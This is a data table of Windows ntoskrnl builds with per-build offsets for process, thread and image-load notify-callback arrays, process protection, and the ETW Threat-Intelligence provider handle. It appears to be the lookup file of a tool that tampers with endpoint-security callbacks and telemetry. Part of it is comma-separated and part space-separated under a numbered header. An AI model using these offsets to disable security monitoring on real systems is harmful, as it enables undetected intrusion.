ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50
ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50
ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50
ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50
ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
1 ntoskrnlVersion PspCreateProcessNotifyRoutineOffset PspCreateThreadNotifyRoutineOffset PspLoadImageNotifyRoutineOffset _PS_PROTECTIONOffset EtwThreatIntProvRegHandleOffset EtwRegEntry_GuidEntryOffset EtwGuidEntry_ProviderEnableInfoOffset
2 ntoskrnl_9600-20111.exe 2dac50 2daa50 2da850 67a 0 20 50
3 ntoskrnl_10240-16384.exe 35d2e0 35d0e0 35cee0 6aa 0 20 50
4 ntoskrnl_10240-17394.exe 35d420 35d220 35d020 6aa 0 20 50
5 ntoskrnl_10240-17443.exe 35c420 35c220 35c020 6aa 0 20 50
6 ntoskrnl_10240-17446.exe 35c420 35c220 35c020 6aa 0 20 50
7 ntoskrnl_10240-17488.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50
8 ntoskrnl_10240-17533.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50
9 ntoskrnl_10240-17609.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50
10 ntoskrnl_10240-17643.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50
11 ntoskrnl_10240-17709.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50
12 ntoskrnl_10240-17738.exe 366520 366320 366120 6b2 0 20 50
13 ntoskrnl_10240-17770.exe 366520 366320 366120 6b2 0 20 50
14 ntoskrnl_10240-17797.exe 366520 366320 366120 6b2 0 20 50
15 ntoskrnl_10240-17831.exe 366520 366320 366120 6b2 0 20 50
16 ntoskrnl_10240-17861.exe 3664e0 3662e0 3660e0 6b2 0 20 50
17 ntoskrnl_10240-17889.exe 3644e0 3642e0 3640e0 6b2 0 20 50
18 ntoskrnl_10240-17914.exe 3644e0 3642e0 3640e0 6b2 0 20 50
19 ntoskrnl_10240-17976.exe 3694e0 3692e0 3690e0 6b2 0 20 50
20 ntoskrnl_10240-18005.exe 3694e0 3692e0 3690e0 6b2 0 20 50
21 ntoskrnl_10240-18036.exe 369520 369320 369120 6b2 0 20 50
22 ntoskrnl_10240-18063.exe 369520 369320 369120 6b2 0 20 50
23 ntoskrnl_10240-18094.exe 369520 369320 369120 6b2 0 20 50
24 ntoskrnl_10240-18132.exe 369520 369320 369120 6b2 0 20 50
25 ntoskrnl_10240-18158.exe 369520 369320 369120 6b2 0 20 50
26 ntoskrnl_10240-18275.exe 369520 369320 369120 6b2 0 20 50
27 ntoskrnl_10240-18303.exe 369520 369320 369120 6b2 0 20 50
28 ntoskrnl_10240-18427.exe 367520 367320 367120 6b2 0 20 50
29 ntoskrnl_10240-18452.exe 367520 367320 367120 6b2 0 20 50
30 ntoskrnl_10240-18485.exe 3684e0 3682e0 3680e0 6b2 0 20 50
31 ntoskrnl_10240-18545.exe 3684e0 3682e0 3680e0 6b2 0 20 50
32 ntoskrnl_10240-18575.exe 3684e0 3682e0 3680e0 6b2 0 20 50
33 ntoskrnl_10240-18608.exe 3684e0 3682e0 3680e0 6b2 0 20 50
34 ntoskrnl_10240-18638.exe 3684e0 3682e0 3680e0 6b2 0 20 50
35 ntoskrnl_10240-18666.exe 367560 367360 367160 6b2 0 20 50
36 ntoskrnl_10240-18725.exe 367560 367360 367160 6b2 0 20 50
37 ntoskrnl_10240-18756.exe 367560 367360 367160 6b2 0 20 50
38 ntoskrnl_10240-18841.exe 367560 367360 367160 6b2 0 20 50
39 ntoskrnl_10240-18906.exe 367560 367360 367160 6b2 0 20 50
40 ntoskrnl_10586-0.exe 317180 316f80 316d80 6b2 0 20 50
41 ntoskrnl_10586-1176.exe 3161c0 315fc0 315dc0 6b2 0 20 50
42 ntoskrnl_10586-1177.exe 3161c0 315fc0 315dc0 6b2 0 20 50
43 ntoskrnl_10586-1295.exe 3161c0 315fc0 315dc0 6b2 0 20 50
44 ntoskrnl_10586-1356.exe 31a2c0 31a0c0 319ec0 6ba 0 20 50
45 ntoskrnl_10586-1417.exe 31a2c0 31a0c0 319ec0 6ba 0 20 50
46 ntoskrnl_10586-1478.exe 31a2c0 31a0c0 319ec0 6ba 0 20 50
47 ntoskrnl_10586-1540.exe 31a300 31a100 319f00 6ba 0 20 50
48 ntoskrnl_14393-0.exe 33bba0 33b9a0 33b7a0 6c2 0 20 50
49 ntoskrnl_14393-1198.exe 335860 335660 335460 6c2 0 20 50
50 ntoskrnl_14393-1532.exe 3348a0 3346a0 3344a0 6c2 0 20 50
51 ntoskrnl_14393-1670.exe 3348a0 3346a0 3344a0 6c2 0 20 50
52 ntoskrnl_14393-1737.exe 3348a0 3346a0 3344a0 6c2 0 20 50
53 ntoskrnl_14393-1770.exe 3348a0 3346a0 3344a0 6c2 0 20 50
54 ntoskrnl_14393-2189.exe 33ea20 33e820 33e620 6ca 0 20 50
55 ntoskrnl_14393-2214.exe 33ea20 33e820 33e620 6ca 0 20 50
56 ntoskrnl_14393-2248.exe 33da60 33d860 33d660 6ca 0 20 50
57 ntoskrnl_14393-2273.exe 33da60 33d860 33d660 6ca 0 20 50
58 ntoskrnl_14393-2312.exe 33ca20 33c820 33c620 6ca 0 20 50
59 ntoskrnl_14393-2363.exe 33ca20 33c820 33c620 6ca 0 20 50
60 ntoskrnl_14393-2395.exe 33bb60 33b960 33b760 6ca 0 20 50
61 ntoskrnl_14393-2430.exe 338b60 338960 338760 6ca 0 20 50
62 ntoskrnl_14393-2485.exe 338b20 338920 338720 6ca 0 20 50
63 ntoskrnl_14393-2551.exe 338b20 338920 338720 6ca 0 20 50
64 ntoskrnl_14393-2580.exe 338b20 338920 338720 6ca 0 20 50
65 ntoskrnl_14393-2608.exe 338b20 338920 338720 6ca 0 20 50
66 ntoskrnl_14393-2636.exe 338be0 3389e0 3387e0 6ca 0 20 50
67 ntoskrnl_14393-2665.exe 338be0 3389e0 3387e0 6ca 0 20 50
68 ntoskrnl_14393-2724.exe 338be0 3389e0 3387e0 6ca 0 20 50
69 ntoskrnl_14393-2791.exe 338b20 338920 338720 6ca 0 20 50
70 ntoskrnl_14393-2848.exe 338b20 338920 338720 6ca 0 20 50
71 ntoskrnl_14393-2906.exe 338b20 338920 338720 6ca 0 20 50
72 ntoskrnl_14393-2969.exe 339a20 339820 339620 6ca 0 20 50
73 ntoskrnl_14393-3085.exe 339a20 339820 339620 6ca 0 20 50
74 ntoskrnl_14393-3115.exe 339a20 339820 339620 6ca 0 20 50
75 ntoskrnl_14393-3143.exe 339a20 339820 339620 6ca 0 20 50
76 ntoskrnl_14393-3204.exe 339a20 339820 339620 6ca 0 20 50
77 ntoskrnl_14393-3241.exe 339a60 339860 339660 6ca 0 20 50
78 ntoskrnl_14393-3269.exe 339a60 339860 339660 6ca 0 20 50
79 ntoskrnl_14393-3297.exe 339a60 339860 339660 6ca 0 20 50
80 ntoskrnl_14393-3321.exe 339a60 339860 339660 6ca 0 20 50
81 ntoskrnl_14393-3383.exe 339a60 339860 339660 6ca 0 20 50
82 ntoskrnl_14393-3442.exe 339a60 339860 339660 6ca 0 20 50
83 ntoskrnl_14393-3471.exe 33ae60 33ac60 33aa60 6ca 0 20 50
84 ntoskrnl_14393-3503.exe 33aee0 33ace0 33aae0 6ca 0 20 50
85 ntoskrnl_14393-3541.exe 33aee0 33ace0 33aae0 6ca 0 20 50
86 ntoskrnl_14393-3564.exe 33aee0 33ace0 33aae0 6ca 0 20 50
87 ntoskrnl_14393-3595.exe 33aee0 33ace0 33aae0 6ca 0 20 50
88 ntoskrnl_14393-3630.exe 33aee0 33ace0 33aae0 6ca 0 20 50
89 ntoskrnl_14393-3659.exe 33aee0 33ace0 33aae0 6ca 0 20 50
90 ntoskrnl_14393-3686.exe 33aee0 33ace0 33aae0 6ca 0 20 50
91 ntoskrnl_14393-3750.exe 33aee0 33ace0 33aae0 6ca 0 20 50
92 ntoskrnl_14393-3755.exe 33aee0 33ace0 33aae0 6ca 0 20 50
93 ntoskrnl_14393-3808.exe 33aee0 33ace0 33aae0 6ca 0 20 50
94 ntoskrnl_14393-3866.exe 33ae60 33ac60 33aa60 6ca 0 20 50
95 ntoskrnl_14393-3930.exe 33aee0 33ace0 33aae0 6ca 0 20 50
96 ntoskrnl_14393-3986.exe 33aee0 33ace0 33aae0 6ca 0 20 50
97 ntoskrnl_14393-4046.exe 33aee0 33ace0 33aae0 6ca 0 20 50
98 ntoskrnl_14393-4104.exe 33aee0 33ace0 33aae0 6ca 0 20 50
99 ntoskrnl_14393-4169.exe 33aee0 33ace0 33aae0 6ca 0 20 50
100 ntoskrnl_14393-4225.exe 33aee0 33ace0 33aae0 6ca 0 20 50
101 ntoskrnl_14393-4283.exe 33aee0 33ace0 33aae0 6ca 0 20 50
102 ntoskrnl_14393-4350.exe 33aee0 33ace0 33aae0 6ca 0 20 50
103 ntoskrnl_14393-4402.exe 33aee0 33ace0 33aae0 6ca 0 20 50
104 ntoskrnl_14393-4467.exe 33aee0 33ace0 33aae0 6ca 0 20 50
105 ntoskrnl_14393-4470.exe 33aee0 33ace0 33aae0 6ca 0 20 50
106 ntoskrnl_14393-4530.exe 33ae60 33ac60 33aa60 6ca 0 20 50
107 ntoskrnl_14393-4583.exe 33ae60 33ac60 33aa60 6ca 0 20 50
108 ntoskrnl_14393-4651.exe 33ae60 33ac60 33aa60 6ca 0 20 50
109 ntoskrnl_14393-576.exe 33bca0 33baa0 33b8a0 6c2 0 20 50
110 ntoskrnl_14393-726.exe 335860 335660 335460 6c2 0 20 50
111 ntoskrnl_14393-953.exe 335860 335660 335460 6c2 0 20 50
112 ntoskrnl_15063-0.exe 382290 382090 381e90 6ca 341ea8 20 50
113 ntoskrnl_15063-1029.exe 389550 389350 389150 6ca 348fa8 20 50
114 ntoskrnl_15063-1088.exe 3894d0 3892d0 3890d0 6ca 348fb8 20 50
115 ntoskrnl_15063-1155.exe 387510 387310 387110 6ca 346f68 20 50
116 ntoskrnl_15063-1206.exe 387510 387310 387110 6ca 346f68 20 50
117 ntoskrnl_15063-1266.exe 384410 384210 384010 6ca 343f48 20 50
118 ntoskrnl_15063-13.exe 382290 382090 381e90 6ca 341ea8 20 50
119 ntoskrnl_15063-1324.exe 385490 385290 385090 6ca 344f88 20 50
120 ntoskrnl_15063-1387.exe 385490 385290 385090 6ca 344f98 20 50
